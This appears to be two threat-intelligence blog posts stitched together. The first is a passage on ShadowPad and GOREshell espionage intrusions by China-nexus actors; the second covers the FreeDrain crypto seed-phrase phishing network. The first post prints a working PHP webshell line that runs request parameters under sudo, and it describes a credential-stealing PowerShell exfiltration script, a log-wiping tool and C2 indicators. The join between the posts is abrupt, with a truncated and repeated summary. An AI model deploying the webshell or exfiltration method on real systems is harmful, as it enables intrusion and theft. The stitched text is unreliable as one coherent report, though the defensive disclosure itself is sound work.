We track some of the infrastructure used in this intrusion as part of an operational relay box (ORB) network used by several suspected Chinese cyberespionage actors, particularly a threat group that overlaps with public reporting on APT15. The use of ORB networks is a growing trend among Chinese threat groups, since they can be rapidly expanded to create a dynamic and evolving infrastructure that makes tracking cyberespionage operations and their attribution challenging. APT15, also historically referred to as Ke3Chang and Nylon Typhoon, is a suspected Chinese cyberespionage actor known for its global targeting of critical sectors, including telecommunications, information technology, and government organizations.
Further, in October 2024, the same month as the activity targeting the South Asian government entity, SentinelLABS observed remote connections to Internet-facing SentinelOne servers for reconnaissance (Activity E). Based on significant overlaps in infrastructure management, as well as domain creation and naming practices, we associate with high confidence the infrastructure observed in the reconnaissance operation with that used by the threat actor targeting the South Asian government entity (Activity D). This suggests the involvement of the same threat actor, or of a third-party entity responsible for managing infrastructure for multiple threat groups, a common practice in the Chinese cyberespionage landscape.
In late September 2024, a few weeks before the October activities, SentinelLABS observed an intrusion into a leading European media organization (Activity F). Our investigation revealed overlaps in the tools used during this intrusion and the October 2024 activity targeting the South Asian government entity (Activity D). This includes the GOREshell backdoor and publicly available tools developed by The Hacker’s Choice (THC), a community of cybersecurity researchers.
Activity D and Activity F are the first instances in which we have observed THC tooling used in the context of APT activities.
We attribute Activity F with high confidence to a China-nexus actor, loosely associating it with a suspected Chinese initial access broker tracked as UNC5174 by Mandiant. We acknowledge the possibility that post-intrusion activities may have been conducted by a different threat group.
The threat actor leveraged ORB network infrastructure, which we assess to be operated from China, and exploited the CVE-2024-8963 vulnerability together with CVE-2024-8190 to establish an initial foothold, a few days before the vulnerabilities were publicly disclosed. This intrusion method suggests the involvement of UNC5174, which is assessed to be a contractor for China’s Ministry of State Security (MSS) primarily focusing on gaining access and specializing in exploiting vulnerabilities in targeted systems. After compromising these systems, UNC5174 is suspected of transferring access to other threat actors.
In January 2025, CISA and the FBI released a joint advisory reporting threat actor activities that also took place in September 2024, involving the chained exploitation of CVE-2024-8963 and CVE-2024-8190, without providing specific attribution assessments. In March 2025, the French Cybersecurity Agency (ANSSI) released its 2024 cyber threat overview report, which documents intrusions that occurred in September 2024, involved the same vulnerabilities, and show overlaps in TTPs associated with UNC5174.
Additionally, Mandiant has observed UNC5174 exploiting the CVE-2023-46747 and CVE-2024-1709 vulnerabilities and deploying a publicly available backdoor tracked as GOREVERSE. Strings and code segments in the public GOREVERSE YARA rule provided by Mandiant match the reverse_ssh backdoor, placing GOREVERSE in the GOREshell malware cluster, samples of which we observed in both this intrusion and the October 2024 activity targeting the South Asian government entity.
We collectively track Activity D, E and F as the PurpleHaze threat cluster. While we attribute PurpleHaze with high confidence to China-nexus threat actors, investigations continue to determine the specific threat groups behind the activities and their potential links to the June 2024 and later ShadowPad intrusions (Activity A, B, and C).
We do not rule out the involvement of distinct threat groups or the possibility of multiple intrusions conducted by the same threat actor, especially given the widespread use of publicly available tools and the extensive sharing of malware, infrastructure, and operational practices among Chinese threat groups. We also consider the possibility that access may have been transferred between different actors, particularly in light of the suspected involvement of UNC5174.
Technical Details | ShadowPad Intrusions
We present below technical details on the ShadowPad intrusion into the South Asian government entity in June 2024 (Activity A), as well as on the broader ShadowPad activities that took place between July 2024 and March 2025 (Activity B and C).
Activity A | ShadowPad and ScatterBrain Obfuscation
This intrusion involved the deployment of a ShadowPad sample named AppSov.exe. The threat actor deployed AppSov.exe by executing a PowerShell command that performs the following actions:
Downloads a file named x.dat from a remote endpoint using curl.exe after a 60-second delay.
Saves the downloaded file as AppSov.exe in the C:\ProgramData\ directory.
Launches the executable using the Start-Process PowerShell command.
The endpoint hosting x.dat was a previously compromised system within the same organization. Our analysis revealed that malware artifacts had been deployed on this system approximately one month prior to the ShadowPad deployment. These include the agent component of the Nimbo-C2 open-source remote access framework, as well as a PowerShell script that performs the following actions:
Collects sensitive user data (documents, credentials, and cryptographic material) by recursively searching C:\Users\ for files modified in the previous 600 days and with the following extensions: *.xls, *.xlsx, *.ods, *.txt, *.pem, *.cert, and *.pfx.
Copies the collected files to a temporary folder at C:\windows\vss\temp.
Archives the collected files into an archive file named with the system’s MAC address and date, likely for tracking compromised endpoints.
Encrypts and password-protects the archive using 7-Zip with the password @WsxCFt6&UJMmko0, ensuring the data is obfuscated from inspection.
Exfiltrates the encrypted archive via a curl POST request to a hardcoded URL: https[://]45.13.199[.]209/rss/rss.php.
Removes traces by deleting the temporary folder, archive, and DAT files after exfiltration to avoid detection and forensic recovery.
PowerShell exfiltration script
The Nimbo-C2 agent was deployed to C:\ProgramData\Prefetch\PfSvc.exe, likely masquerading as a Privacyware Privatefirewall executable.
We have not previously observed the use of Nimbo-C2 or variants of the PowerShell exfiltration script in the context of suspected Chinese APT activity. Previous research has documented the use of Nimbo-C2 in operations attributed to APT-K-47 (also known as Mysterious Elephant), a threat actor believed to originate from South Asia.
The deployment of the ShadowPad sample AppSov.exe raises several possibilities:
the same threat actor conducted both the earlier activity and the ShadowPad deployment,
access was handed off to, or leveraged by, a second actor, or
two distinct actors operated independently within the same environment.
AppSov.exe was obfuscated using a variant of ScatterBrain. The malware uses the domain news.imaginerjp[.]com and the IP address 65.38.120[.]110 for C2 communication, leveraging DNS over HTTPS (DoH) in an attempt to evade detection by Base-64 encoding queried domains and obscuring DNS traffic from monitoring systems.
AppSov.exe is obfuscated using dispatcher routines that alter control flow, displacements placed after each invocation of these routines, and opaque predicates. The malware verifies its integrity using the constant values 0x89D17427, 0x254733D6, 0x6FE2CF4E, and 0x110302D6. It is distributed with three modules: one with the ID 0x0A and two with the ID 0x20. The ShadowPad module IDs designate different types of modules, including configuration data or code that implements malware functionalities such as injection or data theft.
AppSov.exe: ShadowPad module IDs and sizes AppSov.exe: Deobfuscated dispatcher routine
For a detailed overview of the ScatterBrain obfuscation mechanism and additional ShadowPad implementation details, we refer to previous research by Google Threat Intelligence Group.
Activity B & C | A Global ShadowPad Operation
Based on various implementation overlaps with AppSov.exe, including configuration data as well as custom decryption and integrity verification constant values, we identified multiple additional ShadowPad samples obfuscated using ScatterBee variants. This also led to the discovery of related infrastructure, including the ShadowPad C2 servers dscriy.chtq[.]net and updata.dsqurey[.]com, as well as the suspected ShadowPad-related domains network.oossafe[.]com and notes.oossafe[.]com.
Deobfuscated integrity verification routine in AppSov.exe Deobfuscated integrity verification routine in another ShadowPad sample
Some of the samples we identified differ in execution from AppSov.exe. Instead of embedding the full ShadowPad functionality and configuration within a single executable, they are implemented as Windows DLLs designed to be loaded by specific legitimate executables vulnerable to DLL hijacking. These DLLs then load an external file with an eight-character name and the .tmp extension, for example 1D017DF2.tmp.
Using C2 netflow and SentinelOne telemetry data, we identified a broad range of victim organizations compromised by the ShadowPad samples we discovered. Between July 2024 and March 2025, this malware was involved in intrusions at over 70 organizations across multiple regions globally, spanning sectors such as manufacturing, government, finance, telecommunications, and research. Among the victims was the IT services and logistics company that was managing hardware logistics for SentinelOne employees at the time (Activity C).
Geographical distribution of victims
We suspect that the most common initial access vector involved the exploitation of Check Point gateway devices, consistent with previous research on this topic. We also observed communication to ShadowPad C2 servers originating from Fortinet Fortigate, Microsoft IIS, SonicWall, and CrushFTP servers, suggesting potential exploitation of these systems as well.
Technical Details | PurpleHaze
We present below technical details on intrusions that are part of the PurpleHaze threat cluster: the intrusion into the South Asian government entity in October 2024 (Activity D, the same organization compromised using ShadowPad in June 2024), the reconnaissance of SentinelOne infrastructure in October 2024 (Activity E), and the intrusion into the European media organization in September 2024 (Activity F).
Activity D | GOREshell & a China-based ORB Network
In early October 2024, we detected system reconnaissance and malware deployment activities on a workstation within the South Asian government entity. The threat actor executed the ipconfig Windows command to query network configuration and established a connection to IP address 103.248.61[.]36 on port 443. The adversary then created the C:\Program Files\VMware\VGAuth directory and downloaded an archive file named VGAuth1.zip from 103.248.61[.]36; after extracting its contents into the VGAuth directory, the archive was deleted.
The archive file contained two executables: a legitimate VGAuthService.exe executable and a malicious DLL file named glib-2.0.dll (original filename: libglib-2.0-0.dll), which masquerades as a legitimate GLib–2.0 library file.
VGAuthService.exe implements the VMware Guest Authentication Service. The threat actor deployed version 11.3.5.59284, signed by VMWare and compiled on Tuesday, August 31, 2021, 06:14:07 UTC. This version is vulnerable to DLL hijacking.
The threat actor then created a new Windows service named VGAuthService, which automatically starts upon system boot, runs the VGAuthService.exe executable, and displays as Alias Manager and Ticket Service. When the service was started, VGAuthService.exe loaded and executed the malicious glib-2.0.dll library file.
glib-2.0.dll implements the GOREshell backdoor, which uses reverse_ssh functionalities to establish SSH connections to attacker-controlled endpoints. The backdoor is implemented in the Go programming language and obfuscated using Garble, including string literals, package paths, and function names. It uses the cgo library to invoke C code.
glib-2.0.dll: Obfuscated form of the string Fail to detect service: %v
glib-2.0.dll contains a private SSH key used for establishing SSH connections to the threat actor’s C2 server.
The malware was configured to use downloads.trendav[.]vip for C2 purposes. This domain resolved to 142.93.214[.]219 at the time of the activity. glib-2.0.dll establishes SSH connections over the Websocket protocol (wss[://]downloads.trendav[.]vip:443).
Network request issued by glib-2.0.dll
The threat actor deployed GOREshell variants not only on Windows systems but also on Linux. This includes two samples: one masquerading as the snapd Linux service and the other as the update-notifier service. The threat actor deployed both samples as Linux services, which included creating service configuration files, such as /usr/lib/systemd/system/update-notifier.service.
The content of update-notifier.service
In contrast to update-notifier, which is obfuscated using Garble and packed with UPX, snapd is not obfuscated. Both samples use epp.navy[.]ddns[.]info as their C2 servers and are configured to proxy connections through a local IP address over port 8080. Additionally, both samples store the same private SSH key as glib-2.0.dll.
Based on the private key stored in glib-2.0.dll, snapd, and update-notifier, we discovered an additional GOREshell variant, which was uploaded on a malware sharing platform in September 2023. This GOREshell variant is implemented as a tapisrv.dll library file (Microsoft Windows Telephony Server) and loaded as a Windows service by the svchost.exe service container process. The malware uses the mail.ccna[.]organiccrap[.]com domain for C2 purposes.
The discovery of the tapisrv.dll sample indicates reuse of the private key in intrusions separated by a considerable period.
Private key reuse
We associate some of the GOREshell C2 infrastructure with an ORB network, which we track as being operated from China and actively used by several suspected Chinese cyberespionage actors, including overlaps with APT15.
The threat actor made significant efforts to obscure their activity and remove evidence of their presence, including timestomping GOREshell executable files and deploying a log removal tool on Linux systems, specifically at the /usr/sbin/mcl filepath.
Our analysis of mcl suggests that the executable is likely a compiled and modified version of the source code of a tool called clear13, developed by members of The Hacker’s Choice community. The source code of clear13 is publicly available on GitHub.
The mcl executable is packed using a custom-modified version of UPX. The tool supports four commands, which are presented to the user through a help menu.
Command
Displayed help text
Description
sudo
sudo cmd
Executes a specified command (cmd) with elevated privileges using sudo.
clear
clear name
Removes the last entry containing a specified username (name) from /var/log/wtmp, /var/run/utmp, and /var/log/lastlog.
secure
secure timeString
Removes all entries matching a specified pattern (timeString) from /var/log/secure.
history
history leftNum
Truncates the user command history, keeping only a specified number of entries (leftNum).
Activity E | Probing & Reconnaissance of SentinelOne Infrastructure
In October 2024, SentinelLABS observed consistent attempts to establish remote connections to multiple Internet-facing SentinelOne servers over port 443 for reconnaissance purposes.
Our analysis of the infrastructure associated with this activity revealed links to the October 2024 intrusion into the South Asian government entity (Activity D).
We identified server characteristics and domain registration patterns suggesting coordinated infrastructure management and bulk domain registration, likely carried out by the same threat actor conducting reconnaissance on SentinelOne infrastructure and involved in Activity D, or by a third-party entity responsible for managing the infrastructure used in both activities.
The connections we initially observed originated from a virtual private server (VPS) that used a C2 server as a proxy. At the time of the activity, the server had an IP address of 128.199.124[.]136, which was mapped to the domain name tatacom.duckdns[.]org and is designed to appear as part of a major South Asian telecommunications provider’s infrastructure.
Based on a unique server fingerprint, SentinelLABS discovered an extensive collection of related network infrastructure.
Infrastructure overview
The C2 domain downloads.trendav[.]vip, observed in Activity D, resolved to the IP address 142.93.214[.]219. We also identified this IP address based on the server fingerprint. Furthermore, the IP address of a server associated with the same fingerprint, 143.244.137[.]54, was mapped to the domain name cloud.trendav[.]co in October 2024. This domain name overlaps with downloads.trendav[.]vip.
Additionally, historical domain registration records show that the root domain trendav[.]vip was originally registered through Dynadot Inc., on 24 October 2023, at 13:05:29 UTC. Identifying all domains registered through the same registrar at the exact same date and time (to the second) reveals the domains secmailbox[.]us and sentinelxdr[.]us, the latter of which likely masquerades as SentinelOne infrastructure.
Between February and April 2025, the sentinelxdr[.]us domain resolved to 142.93.214[.]219, the same IP address that downloads.trendav[.]vip resolved to in October 2024.
In October 2024, mail.secmailbox[.]us resolved to 142.93.212[.]42. Like the server at IP address 142.93.214[.]219 (downloads.trendav[.]vip/sentinelxdr[.]us), this server shared the same server fingerprint.
Furthermore, domain registration data for sentinelxdr[.]us was updated on 25 September 2024, at 01:43:46 UTC, a date and time that is identical to an update of the registration data of trendav[.]vip.
Activity F | The Return of dsniff
The late September 2024 intrusion into the European media organization showed overlaps in tooling with the October 2024 intrusion into the South Asian government entity (Activity D). These overlaps include the use of the GOREshell backdoor and publicly available tools developed by The Hacker’s Choice community.
The threat actor deployed a UPX-packed GOREshell sample, which was configured to use 107.173.111[.]26 over the WebSocket protocol for C2 communication (wss[://]107.173.111[.]26:443). The executable file we retrieved contains a private SSH key and the public SSH key fingerprint f0746e78e49896dfa01c674bf2a800443b1966c54663db5c679bc86533352590.
Based on the fingerprint, we identified a Garble-obfuscated GOREshell sample that was uploaded to a malware sharing platform from Iran in late July 2024. This GOREshell sample also contains a private SSH key and is configured to use the same C2 server, 107.173.111[.]26, over the TLS protocol (tls[://]107.173.111[.]26:80).
This suggests threat actor activity since at least July 2024, possibly targeting organizations in both Europe and the Middle East.
The threat actor also deployed version 2.5a1 of dsniff, a collection of tools for network auditing and penetration testing. With active development of dsniff having been discontinued for over 15 years, our investigation of public source code repositories revealed that the THC community has released version 2.5a1 in an effort to resume active maintenance of the project.
To obfuscate their presence, the threat actor timestomped deployed executables, setting their creation date to September 15, 2021. After gaining initial access to the environment, the perpetrators deployed a simple PHP webshell that enables remote command execution by passing commands via the a parameter and executing them with elevated privileges using sudo.
<?php system('/bin/sudo '. @$_REQUEST['a']);?>
Our investigation of system and network traffic artifacts strongly suggests that the threat actor gained an initial foothold by exploiting CVE-2024-8963 in conjunction with CVE-2024-8190 (both Ivanti Cloud Services Appliance vulnerabilities) on September 5, 2024, a few days before their public disclosure.
We track some of the malicious infrastructure used in this attack as part of an ORB network, which we suspect is operated from China and includes compromised network edge devices.
Conclusions
This post highlights the persistent threat posed by China-nexus cyberespionage actors to a wide range of industries and public sector organizations, including cybersecurity vendors themselves. The activities detailed in this research reflect the strong interest these actors have in the very organizations tasked with defending digital infrastructure.
Our findings underscore the critical need for constant vigilance, robust monitoring, and rapid response capabilities. By publicly sharing details of our investigations, we aim to provide insight into the rarely discussed targeting of cybersecurity vendors, helping to destigmatize sharing of IOCs related to these campaigns, and thus contribute to a deeper understanding of the tactics, objectives, and operational patterns of China-nexus threat actors. As these adversaries continue to adapt to our response efforts, it’s essential that defenders prioritize transparency, intelligence sharing, and coordinated action over the fear of reputational harm.
We encourage others in the industry to adopt a proactive approach to threat intelligence sharing and defense coordination, recognizing that collective security strengthens the entire community.
We are grateful to our partners at Lumen Technologies Black Lotus Labs for their collaboration and support.
Executive Summary
FreeDrain is an industrial-scale, global cryptocurrency phishing operation that has been stealing digital assets for years.
FreeDrain uses SEO manipulation, free-tier web services (like gitbook.io, webflow.io, and github.io), and layered redirection techniques to target cryptocurrency wallets.
Victims search for wallet-related queries, click on high-ranking malicious results, land on lure pages, and are redirected to phishing pages that steal their seed phrases.
SentinelLABS a
FreeDrain is an industrial-scale, global cryptocurrency phishing operation that has been stealing digital assets for years.
FreeDrain uses SEO manipulation, free-tier web services (like gitbook.io, webflow.io, and github.io), and layered redirection techniques to target cryptocurrency wallets.
Victims search for wallet-related queries, click on high-ranking malicious results, land on lure pages, and are redirected to phishing pages that steal their seed phrases.
SentinelLABS and Validin researchers identified over 38,000 distinct FreeDrain subdomains hosting lure pages.
Phishing pages are hosted on cloud infrastructure like Amazon S3 and Azure Web Apps, mimicking legitimate cryptocurrency wallet interfaces.
Evidence suggests the operators are based in the UTC+05:30 timezone (Indian Standard Time) and work standard weekday hours.
FreeDrain represents a modern, scalable phishing operation that exploits weaknesses in free publishing platforms and requires better platform-level defenses, user education, and security community collaboration.
Unveiled today at PIVOTcon, this joint research from Validin, the global internet intelligence platform, and SentinelLABS, the threat intelligence and research team of SentinelOne, exposes the FreeDrain Network: a sprawling, industrial-scale cryptocurrency phishing operation that has quietly siphoned digital assets for years. What began as an investigation into a single phishing page quickly uncovered a vast, coordinated campaign weaponizing search engine optimization, free-tier web services, and layered redirection techniques to systematically target and drain cryptocurrency wallets at scale.
In this collaborative blog, we detail the technical anatomy of the FreeDrain operation from the discovery process and infrastructure mapping to evasion techniques and the end-to-end workflow attackers use to funnel victims through multilayered financial theft paths. We also walk through the custom tooling we built to hunt, track, and monitor this large campaign in real time.
Our findings highlight the growing sophistication of financially motivated threat actors and the systemic risks posed by under-moderated publishing platforms. This research underscores the need for adaptive detection, proactive monitoring, and tighter safeguards across the ecosystem to disrupt threats like FreeDrain before they scale.
The Plea for Help
Our investigation into what would become the FreeDrain Network began on May 12, 2024, when Validin received a message from a distressed individual who had lost approximately 8 BTC, worth around $500,000 at the time. The victim had unknowingly submitted their wallet seed phrase to a phishing site while attempting to check their wallet balance, after clicking on a highly-ranked search engine result.
Request for help after successful phish
The individual had come across a Validin blog post from April 2024, which documented a series of crypto-draining phishing pages. The phishing site they encountered shared striking similarities to the infrastructure we had analyzed—specifically, pages hosted on azurewebsites[.]net, along with additional dedicated domain names.
Trusted cryptocurrency tracking analysts confirmed that the destination wallet used to receive the victim’s funds was a one-time-use address. The stolen assets were quickly moved through a cryptocurrency mixer, an obfuscation method that fragments and launders funds across multiple transactions, making attribution and recovery nearly impossible.
While we weren’t able to assist in recovering the lost assets, this outreach marked a turning point. It became clear that the incident was not isolated. We set out to uncover the infrastructure behind the scam and understand the broader operation enabling these thefts to occur at scale.
Cracking the Surface – Our First Look at FreeDrain
When Valdin published the initial findings in April 2024, one key piece of the puzzle remained unclear: how were these phishing pages reaching victims at scale? While common delivery methods like phishing emails, SMS (smishing), social media posts, and blog comment spam are frequently used in cryptocurrency scams, none appeared to be the source in this case.
That changed with the report from the victim in May. They had encountered the phishing site via a top-ranked search engine result, not a suspicious message or unsolicited link.
Curious whether we could reproduce the victim’s experience, we conducted a series of keyword searches ourselves. The results were startling.
Search terms like “Trezor wallet balance” returned multiple malicious results across Google, Bing, and DuckDuckGo, often within the first few result pages.
Trezor Wallet Balance malicious result in DuckDuckGo Trezor Wallet Balance malicious result in top Bing Search Trezor Wallet Balance malicious result in Top Google Search result
These were not obscure or poorly maintained phishing sites; they were professionally crafted lure pages freely hosted on subdomains of trusted platforms like gitbook.io, webflow.io, and github.io.
This discovery marked our first real glimpse into the scale and sophistication of the FreeDrain campaign—and raised a host of new questions. Specifically, what is the overall workflow once a victim visits the site, how are these pages becoming so highly ranked, and what can we discover about the attackers themselves?
Workflow – A Victim’s Path to Compromise
To understand how victims were being funneled into this operation and the post-visit workflow, we checked out the top-ranked search results that we knew weren’t connected to authoritative, legitimate websites, looking for malicious behavior. Within minutes, we encountered related live phishing pages, and quickly began piecing together the end-to-end workflow that a typical victim might experience.
The attack chain was deceptively simple:
Search for wallet-related queries (e.g., “Trezor wallet balance”) on a major search engine.
Click a high-ranking result, often hosted on a seemingly trustworthy platform like gitbook.io or webflow.io.
Land on a page displaying a large, clickable image, a static screenshot of the legitimate wallet interface.
Click the image, which either:
Redirects the user to legitimate websites.
Redirects the user through one or more intermediary sites
Directly leads to a phishing page.
Arrive at the final phishing site, a near-perfect clone of the real wallet service, prompting the user to input their seed phrase.
Attack chain summary
The entire flow is frictionless by design, blending SEO manipulation, familiar visual elements, and platform trust to lull victims into a false sense of legitimacy. And once a seed phrase is submitted, the attacker’s automated infrastructure will drain funds within minutes.
Lure page linking to phishing page Redirect to legitimate site
Lure Page Ranking – Weaponizing SEO
We were stunned by the sheer volume of lure pages appearing among top-ranked search results across all major search engines. These weren’t complex, multi-layered scams. In most cases, the pages consisted of just a single large image (again, usually a screenshot of a legitimate crypto wallet interface) followed by a few lines of text that offered seemingly helpful instructions, ironically, some even claimed to educate users on how to avoid phishing.
This type of simplistic, Q&A-style content is well-known in SEO circles for being rewarded by search engine algorithms. Because users often turn to search engines for direct answers, pages that appear to offer guidance, even when malicious, can be algorithmically elevated in rankings, especially when hosted on high-reputation platforms.
In our early investigation (May–June 2024), we found that many of these lure pages were hosted on services like webflow.io and gitbook.io. Both platforms provide low-friction publishing, enabling anyone to spin up a custom subdomain and publish arbitrary content for free. The subdomains used followed familiar spammer patterns, frequent use of hyphens, deliberate misspellings, and keyword stuffing to manufacture variation and dodge blacklisting.
Subdomain naming scheme similarities
Generative AI as a Tool for Scale
The text on many lure pages bore clear signs of having been generated by large language models. We found copy-paste artifacts that revealed the specific tools used, most notably, strings like “4o mini”, a likely reference to OpenAI’s GPT-4o mini model. These telltale traces suggest that FreeDrain operators are leveraging generative AI not only to create scalable content but doing so carelessly at times.
Fake content mistakenly including OpenAI GPT-4o mini reference
FreeDrain’s Secret Weapon – Spamdexing
But content alone doesn’t explain how these pages were getting indexed and ranked above legitimate sources. How were search engines even discovering them?
The answer came when we identified several indexed URLs pointing back to high-ranking lure pages, and traced them to massive comment spam campaigns. FreeDrain operators appear to be heavily abusing neglected web properties that allow open or weakly-moderated comments, flooding them with links pointing to their lure pages. This old tactic, known as spamdexing, is a well-documented SEO abuse technique, which FreeDrain makes heavy use of as one of the ways to attempt to game SEO.
In one striking example, we found a Korean university photo album page with a single image uploaded over a decade ago, buried under 26,000 comments, nearly all of them containing spam links.
FreeDrain uses large-scale comment spam on poorly-maintained websites to boost the visibility of their lure pages via search engine indexing
This technique allows FreeDrain to sidestep traditional delivery vectors like phishing emails or malicious ads, instead meeting victims exactly where they’re looking, at the top of trusted search engines.
Tracking Search Results
Understanding how FreeDrain’s lure pages consistently climbed to the top of search results became a key investigative goal, and it demanded custom tooling.
We built a purpose-specific crawler designed solely to emulate search engine queries, navigate through pages of search results, and extract structured data from each result: URLs, page titles, and text content summaries. The goal was to systematically monitor how malicious pages were ranking, shifting, and proliferating over time.
We ran this system daily across 700 unique keyword permutations, capturing up to 40 pages deep per search query, per search engine. This daily monitoring provided a dynamic, longitudinal view into the visibility of FreeDrain’s infrastructure.
The Scale of Abuse
After four months of collection, we amassed a dataset of more than 200,000 unique URLs, drawn from topical search results across at least a dozen different publishing platforms that allow users to create custom subdomains. Aggressively filtering, we identified over 38,000 distinct FreeDrain subdomains hosting the lure pages.
These subdomains appeared on well-known free hosting and publishing platforms, including:
Gitbook (gitbook.io)
Webflow (webflow.io)
Teachable (teachable.com)
Github.io
Strikingly (mystrikingly.com)
WordPress.com
Weebly.com
GoDaddySites (godaddysites.com)
Educator Pages (educatorpages.com)
Webador (webador.com)
Breakdown of total domains to suspected URLs, to Confirmed URLs by quantity
The volume and spread across legitimate platforms further highlights how FreeDrain relies on the low-friction, high-trust nature of these services to evade detection and amplify reach.
To go beyond static discovery, we implemented scheduled re-crawls of every suspected lure page. This allowed us to track:
Content updates over time
Changes in redirect behavior
New final-stage phishing URLs being introduced
Takedowns and domain churn
This gave us a clearer picture of FreeDrain’s infrastructure lifecycle, from initial lure page creation to eventual takedown or abandonment, which helped us understand the rotation strategies used to keep malicious links live and searchable.
Lure Page Breakdown
Despite being spread across a wide array of publishing platforms, FreeDrain lure pages followed a remarkably consistent structure, carefully optimized to appear helpful and legitimate, while subtly guiding victims toward compromise.
Common Elements Observed Across Lure Pages
Across gitbook.io, webflow.io, github.io, and others, the pages typically included:
A single, large, clickable image occupying most of the viewport
This image was a screenshot of a legitimate cryptocurrency site (e.g., Trezor, Metamask, or Ledger)
The image linked externally, usually to a malicious redirection chain
AI-generated help content positioned below the image
The text answered common user queries like “How do I check my wallet balance on Trezor?”
1–2 additional embedded links, which pointed to the same external destination as the image or were placeholders like "#"
Link Behavior: Redirection Variability
Clicking the image or associated links triggered unpredictable outcomes, depending on the time, user agent, or page freshness:
Redirection through one or more intermediary domains (typically 1–5 hops)
Final destinations varied widely:
A phishing page built to capture wallet seed phrases (hosted on Azure or AWS S3)
A legitimate site like trezor.io or metamask.io, creating false reassurance
A non-functional domain (404 or NXDOMAIN)
The current page itself ("#") acting as a placeholder when infrastructure wasn’t active
This redirection behavior made classification challenging, especially since not every page led directly to a phishing endpoint in every instance.We observed that lure pages initially hosted benign content before being modified to include malicious redirects usually weeks or months later. This aging tactic likely helped the sites build trust and survive longer before being flagged or removed.
A Github lure page that has just been changed from benign to malicious
Obfuscation Through Variation
Identifying FreeDrain lure pages at scale proved difficult due to extreme variation in phrasing, metadata, and platform-specific formatting. For example, we identified 46 unique renderings of the word “Trezor”, all visually similar, using tricks like added Unicode characters, zero-width spaces, and mixed script alphabets.
Trezor variation heatmap by quantity
Demonstrating the variations in tooling use, we found that FreeDrain pages on github\.io were usually copies of the generated content from services like Mobrise Website Builder and Webflow.
Snippets of pages hosted on github\.io with content clearly generated using other tools, for example, “Mobrise Website Builder”
A turning point in connecting these fragmented domains came from pivoting off the redirection infrastructure. While the lure content varied, the redirectors often remained consistent across pages and platforms.
Validin result showing redirector abusing free services
By tracing traffic from anchor links to known FreeDrain redirectors, we were able to map common ownership and activity across otherwise-unrelated services. This infrastructure-based pivot became essential for clustering and attribution, bridging gaps that the lure content itself couldn’t.
Redirectors
Pivoting on URLs from known and suspected FreeDrain lure pages that we were monitoring, we quickly noticed some noteworthy patterns in the FreeDrain redirection domains.
Domain Characteristics
Nearly all redirector domains shared several features:
.com TLDs exclusively
Names that appeared algorithmically generated, likely via a Domain Generation Algorithm (DGA) or Markov chain model
English-adjacent structure, visually familiar but never forming real English words
Examples include:
antressmirestos[.]com
shotheatsgnovel[.]com
bildherrywation[.]com
Each URL also included a GUID-like string in the path, which may have served as a session ID, traffic source identifier, or logic gate for redirection behavior. Examples:
(A complete list of FreeDrain-associated redirector domains is provided in the appendix.)
Domain Registration and Infrastructure Clues
All domains we identified were registered via Key-Systems GmbH, a registrar often used for bulk domain purchases and programmatic registration.
Initially, we suspected that these domains were all managed by the FreeDrain operators as well, but have since connected these domains to a much larger network of thousands domain names that are used to route traffic for many different purposes.
Looking at DNS history for some of the older redirectors on our list, we saw that they rotated IP addresses relatively infrequently, resolving to just a small number of IPs within a time window of weeks to months.
DNS history for scientcontopped[.]com prior to expiration (2024)
The domain resolved to only a handful of IPs over its active life suggesting stable, centralized hosting infrastructure.
Pivoting on IP addresses shared by these older FreeDrain domains revealed that there are hundreds of other domain names that share nearly identical characteristics in terms of naming conventions, registration patterns, and hosting patterns. Yet, these other domains didn’t exhibit direct ties to FreeDrain behavior.
Pivot from confirmed FreeDrain redirector (yellow asterisk) reveals broader domain ecosystem with matching infrastructure traits
This led us to two possibilities:
The redirectors are part of a leased infrastructure-as-a-service model, used by FreeDrain and potentially many other threat actors
FreeDrain is a subdivision of a broader operation, with shared tooling and infrastructure but distinct campaigns
At this stage, the full extent of this infrastructure and the relationships between campaigns remain an open research question. What is clear, however, is that FreeDrain does not operate in isolation, and the redirection layer may be a service used by multiple actors.
Phishing Pages
Across our monitoring, we observed dozens of variations in FreeDrain phishing pages but technically, they were all fairly simple and consistent in architecture.
These phishing pages were most often:
Hosted on cloud infrastructure, primarily Amazon S3 and Azure Web Apps
Designed to mimic legitimate cryptocurrency wallet interfaces (Trezor, MetaMask, Ledger, etc.)
Implemented using HTML forms or AJAX POST requests to transmit stolen credentials to attacker-controlled endpoints
A typical FreeDrain phishing page served from an S3 bucket, delivering only static content
Some S3-hosted phishing sites sent harvested data to live backend services on Azure, as seen in multiple instances where form actions pointed to azurewebsites.net applications.
The form for an S3-hosted FreeDrain phishing page posts to “/send.php” running in Azure
Human Operators Behind the Scenes
While most pages used standard static phishing techniques, we occasionally encountered live chat widgets embedded in Azure-hosted phishing pages.
This chat feature had previously been documented in a 2022 report by Netskope (one of the few references we ever found to FreeDrain and the earliest reported). Our own interactions confirmed that humans, not bots, were responding to victim inquiries in real time, often providing reassurance or technical “help” to keep targets engaged.
Live chat interaction on a phishing page hosted in Azure
Clean, Unobfuscated Exfiltration Code
In the malicious JavaScript that we observed that handled POST requests with stolen seed phrases, the code is well-formatted, commented, and does not appear to be obfuscated in any way. Full examples are provided in the appendix, but a snippet of the POST request is below (domain bolded and defanged):
Despite its simplicity, the phishing backend was effective, disposable, and often difficult to trace—highlighting just how low the bar is for technical sophistication when paired with wide-scale reach and persistent lure infrastructure.
Actor Analysis
Attribution is inherently difficult when infrastructure is ephemeral and built on shared, free-tier services. Yet through a combination of repository metadata, behavioral signals, and timing artifacts, we were able to extract meaningful insights about FreeDrain’s operators, including likely location, working patterns, and their degree of operational coordination.
Our first major breakthrough came from GitHub Pages (github.io), which only allows hosting via a public repository that matches the account’s GitHub username (e.g., username.github.io). This constraint meant every active FreeDrain lure page hosted on GitHub had a publicly accessible repository behind it.
We cloned hundreds of these repositories and analyzed the commit metadata, including timestamps, usernames, email addresses, and whether commits were made via the CLI or web interface. Several clear patterns emerged:
Email addresses were always unique, tied 1:1 with the GitHub account, and never reused.
All emails came from free providers like Gmail, Hotmail, Outlook, and ProtonMail.
While naming styles varied widely (capitalization, numbers, patterns), we found clusters of similarly structured addresses, suggesting manual creation by multiple individuals, possibly using shared templates or naming approach.
Sample of email addresses found in FreeDrain-associated Github commit
Importantly, GitHub commits preserve the local timezone of the user unless manually configured otherwise. In our dataset, over 99% of commits were timestamped in UTC+05:30 (Indian Standard Time), our first strong geographic indicator.
Over 99% of the commits analyzed were localized to UTC+05:30
